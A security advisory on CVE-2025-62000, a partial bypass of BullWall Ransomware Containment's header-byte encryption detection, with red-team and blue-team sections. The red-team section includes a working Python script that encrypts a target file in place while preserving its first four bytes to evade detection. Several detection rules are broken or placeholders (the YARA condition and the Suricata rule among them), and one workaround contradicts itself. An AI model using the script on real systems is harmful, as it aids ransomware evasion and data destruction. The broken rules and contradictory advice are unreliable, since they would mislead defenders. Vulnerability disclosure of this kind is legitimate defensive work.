CVE-2025-62000

Executive Summary

CVE-2025-62000 identifies a limitation in BullWall Ransomware Containment's file inspection method. The product uses a header-byte-based detection mechanism to identify encrypted files. An authenticated attacker can bypass this specific detection method by encrypting files while preserving the first four bytes of the original file header. This allows the encrypted file to appear unencrypted to the header inspection method. However, BullWall implements additional integrity-based detection mechanisms that can identify file corruption or encryption for common file extensions, independent of header bytes. Therefore, this vulnerability represents a partial bypass of one detection method, not a complete evasion of ransomware detection. The affected versions are 4.6.0.0, 4.6.0.6, 4.6.0.7, and 4.6.1.4. BullWall plans to improve detection method documentation.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H
• Attack Vector (AV): Network (N) - The attack can be launched remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): Low (L) - The attacker needs authenticated access to the system.
• User Interaction (UI): None (N) - No user action is required.
• Scope (S): Unchanged (U) - The vulnerability does not affect other components.
• Confidentiality (C): None (N) - No direct data exposure.
• Integrity (I): Low (L) - The attacker can modify file content (encrypt) but must preserve header bytes.
• Availability (A): High (H) - Successful exploitation can lead to data encryption, causing significant availability impact.

Threat Level: High. While the bypass is partial, it reduces the effectiveness of a critical security control (ransomware detection). An authenticated attacker could encrypt files without triggering the header-based alert, potentially allowing ransomware to spread further before other detection mechanisms respond.

Deep Dive & Mechanics

The vulnerability lies in the file inspection method that relies on header bytes to detect encryption. Many ransomware variants modify file headers to indicate encryption (e.g., changing magic bytes). BullWall's method checks for these known patterns. The attacker's bypass technique involves encrypting the file content but leaving the first four bytes (the magic number or header) intact. This makes the file appear unencrypted to the header-based check.

Technical Details:

• Affected Component: File inspection module using header-byte analysis.
• Bypass Mechanism: The attacker encrypts the file payload but preserves the original first four bytes. For example, a PDF file starts with %PDF. The attacker encrypts the rest of the file but keeps %PDF at the beginning.
• Limitation: This bypass only works for the header-based method. BullWall also uses integrity-based detection (e.g., checksums, file structure analysis) that can detect encryption for common file types (e.g., .docx, .xlsx, .pdf) regardless of header preservation.
• Impact: The attacker can encrypt files without triggering the header-based alert, but other detection methods may still fire. The vulnerability reduces the overall detection coverage but does not eliminate it.

Vulnerable vs. Patched Code

No patch is currently available. The vendor plans to improve detection method documentation, which may include updating the header-based method to also check for encryption beyond the first four bytes.

Vulnerable Code (Conceptual):

def check_encrypted(file_path):
    with open(file_path, 'rb') as f:
        header = f.read(4)
    if header in KNOWN_ENCRYPTED_HEADERS:
        return True
    return False

Patched Code (Conceptual):

def check_encrypted(file_path):
    with open(file_path, 'rb') as f:
        header = f.read(4)
        content = f.read()
    if header in KNOWN_ENCRYPTED_HEADERS:
        return True
    # Additional check: analyze entropy or structure of the full content
    if is_encrypted_content(content):
        return True
    return False

Exploitation & Lab Setup

Red Team

Prerequisites:

• Authenticated access to a system running BullWall Ransomware Containment (versions 4.6.0.0, 4.6.0.6, 4.6.0.7, or 4.6.1.4).
• Ability to write files to a monitored directory.

Exploitation Steps:

1. Identify a target file (e.g., document.docx).
2. Read the first four bytes of the file.
3. Encrypt the file content using a symmetric cipher (e.g., AES), but preserve the first four bytes.
4. Write the encrypted file back to the same location.
5. The header-based detection method will not flag the file as encrypted.

Example Script (Python):

import os
from Crypto.Cipher import AES

def encrypt_preserve_header(file_path, key):
    with open(file_path, 'rb') as f:
        header = f.read(4)
        rest = f.read()
    cipher = AES.new(key, AES.MODE_EAX)
    ciphertext, tag = cipher.encrypt_and_digest(rest)
    with open(file_path, 'wb') as f:
        f.write(header)
        f.write(cipher.nonce)
        f.write(tag)
        f.write(ciphertext)

# Usage
encrypt_preserve_header('/path/to/target.docx', b'Sixteen byte key')

Blue Team

Detection:

• Monitor for file write operations that preserve the first four bytes but modify the rest.
• Use integrity-based detection (e.g., file checksums, structure analysis) to identify encrypted files.
• Enable logging for all file modification events and correlate with BullWall alerts.

Mitigation:

• Apply the principle of least privilege to limit authenticated users' ability to modify files.
• Implement additional file integrity monitoring (FIM) tools that detect unauthorized changes.
• Ensure BullWall's integrity-based detection is enabled and tuned for all common file types.

Indicators of Compromise (IOCs)

• File Characteristics:
  • Files with original first four bytes but corrupted/encrypted content.
  • High entropy in file content beyond the first four bytes.
• Network Indicators:
  • Connections to known ransomware C2 servers (if the attacker uses a ransomware variant).
• Behavioral Indicators:
  • Bulk file modification events from a single user account.
  • File writes that preserve headers but change content.

Detection Engineering

YARA Rule

rule Detect_Header_Bypass_Encryption {
    meta:
        description = "Detects files where the first 4 bytes are preserved but the rest is encrypted"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62000"
    strings:
        $header = { ?? ?? ?? ?? }  // Placeholder for known file headers
    condition:
        for any of ($header*) : (
            @ > 0 and
            filesize > 4 and
            entropy(4, filesize - 4) > 7.5
        )
}

Sigma Rule

title: BullWall Header Bypass Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects file modifications that preserve the first 4 bytes but change the rest (potential CVE-2025-62000 exploitation)
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-62000
logsource:
    category: file_event
    product: windows
detection:
    selection:
        EventID: 4663  # File write
        ObjectName|endswith: '.docx'  # Example extension
    condition: selection
falsepositives:
    - Legitimate file updates that preserve headers
level: medium

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-62000 BullWall Header Bypass Attempt"; flow:to_server; content:"|00 00 00 00|"; offset:0; depth:4; content:"|FF FF FF FF|"; within:4; distance:0; sid:1000001; rev:1;)

Note: The above Suricata rule is a placeholder. Actual detection would require specific file content patterns.

Remediation & Mitigation

Immediate Actions:

1. Update BullWall: Check for any available updates or patches from BullWall. If none, contact support for guidance.
2. Enable Integrity-Based Detection: Ensure BullWall's integrity-based detection is active for all common file extensions.
3. Restrict User Permissions: Limit write access to sensitive directories to only necessary users.
4. Monitor File Changes: Implement file integrity monitoring (FIM) to detect unauthorized modifications.

Long-Term Measures:

• Vendor Patch: Apply the official patch when released.
• Defense in Depth: Use additional ransomware detection tools (e.g., endpoint detection and response (EDR), behavior analysis).
• User Training: Educate users on phishing and social engineering to prevent initial access.

Workarounds:

• If BullWall's header-based detection cannot be bypassed by other means, consider disabling it and relying solely on integrity-based detection.
• Implement custom scripts to check file entropy or structure for common file types.

Valters IT